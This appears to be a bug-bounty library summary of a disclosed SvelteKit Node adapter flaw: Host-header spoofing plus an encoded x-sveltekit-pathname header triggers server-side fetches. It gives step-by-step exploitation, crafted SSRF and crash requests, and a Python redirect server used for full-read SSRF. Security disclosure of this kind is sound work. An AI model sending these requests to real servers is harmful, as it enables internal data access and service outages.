# Avoiding the paradox: A native full-read SSRF and one‑shot DoS in SvelteKit

SvelteKit Node adapter trusts Host header for origin; crafted remote-function path plus encoded x-sveltekit-pathname triggers server-side fetch to attacker host, yielding full-read SSRF and one-shot DoS.

- Payout: Research
- Severity: critical
- Program: SvelteKit
- Disclosed: 2026-01-16
- CVE: CVE-2025-67647
- Write-up quality: 9/10
- Original: https://zhero-web-sec.github.io/research-and-things/avoiding-the-paradox-a-native-full-read-ssrf-and-oneshot-dos-in-sveltekit
- Library page: https://bugbountylibrary.com/r/blog%3Azhero-web-sec-github-io-research-and-things-avoiding-the-paradox-a-native-full-read-ssrf-and-oneshot-dos-in-sveltekit
- Tags: area:web domain:web impact:dos impact:internal-access kind:research platform:research sev:critical tech:nodejs technique:chained technique:source-review vuln:cache-poisoning vuln:dos vuln:ssrf vuln:xss

**Target:** SvelteKit Node adapter server-side fetch handler
**Root cause:** Node adapter builds origin from unchecked Host/forwarded headers, and the fetch block's three conditions (prerendered path, non-fallback, decoded resolved_path mismatch) can be satisfied by overwriting url.pathname via the x-sveltekit-pathname header on a remote_id path.
**Steps:**
1. Identify target uses Node adapter and has at least one pre-rendered route (e.g. /prerendered-example).
2. Send `GET /_app/remote/non-existent-segment HTTP/1.1` with `Host: zhero-web-sec.github.io` and `x-sveltekit-pathname: /prerendered-exampl%65` (encoded char satisfies resolved_path !== url.pathname).
3. Alternatively spoof origin via `X-Forwarded-Host: zhero-web-sec.github.io` with `Host: localhost:3000` and `X-Sveltekit-Pathname: /prerendered-exampl%65`.
4. To bypass path restriction, point origin at attacker server returning `302` with `Location: https://zhero-web-sec.github.io/research-and-things/`; fetch follows redirect.
5. For DoS: send `GET /_app/remote/non-existent-path? HTTP/1.1` with `X-Sveltekit-Pathname: /prerendered-exampl%65` and a body without Content-Length, or `Transfer-Encoding: nope`; unhandled fetch error crashes process.
**How found:** Prior Astro research showed Node adapter origin construction from unchecked Host header; authors audited SvelteKit adapters, found same pattern, then traced the conditional fetch block and reverse-engineered its three conditions, discovering the x-sveltekit-pathname header (added in 2.44.0) lets them overwrite url.pathname on remote_id paths to satisfy all conditions without a reroute hook.
**Exploitation:** Attacker spoofs Host/forwarded headers so the Node adapter constructs origin pointing at attacker-controlled server; remote_id path pattern allows overwriting url.pathname via x-sveltekit-pathname to a pre-rendered route with one URL-encoded char, satisfying all three conditions and triggering a server-side fetch to the attacker origin. Attacker server responds 302 to arbitrary internal path, achieving full-read SSRF. Same fetch without try/catch crashes process on network error (one-shot DoS). With CDN, cache poisoning of JS payload yields SXSS.
**Escalation:** SSRF chained to cache poisoning: spoofed Host makes CDN cache attacker JS payload served from a cacheable path, achieving stored XSS; DoS extends impact beyond Node adapter to any app with a pre-rendered route.
**Insight:** When a framework adds internal request headers (like x-sveltekit-pathname) to support remote functions, check whether those headers can rewrite routing state to reach code paths gated on prerendering/reroute logic; also check whether server-side fetch reuses the incoming request and lacks try/catch, turning any network error into a one-shot crash.

## Proof of concept (copied exactly from the original report)

**SSRF request with spoofed host and encoded pathname**

```
GET /_app/remote/non-existent-segment HTTP/1.1
Host: zhero-web-sec.github.io
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:145.0) Gecko/20100101 Firefox/145.0
Accept-Encoding: gzip, deflate, br
x-sveltekit-pathname: /prerendered-exampl%65
```

**Redirect intermediary python server for arbitrary path SSRF**

```
import socket

HOST = "0.0.0.0"
PORT = 8001

response = (
 "HTTP/1.1 302 Found\r\n"
 "Location: https://zhero-web-sec.github.io/research-and-things/\r\n"
 "Connection: close\r\n"
 "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 s.bind((HOST, PORT))
 s.listen(5)
 print(f"[+] Listening on {HOST}:{PORT}")

 while True:
 conn, addr = s.accept()
 with conn:
 print(f"[+] Connection from {addr}")
 conn.recv(4096)
 conn.sendall(response.encode("ascii"))
```

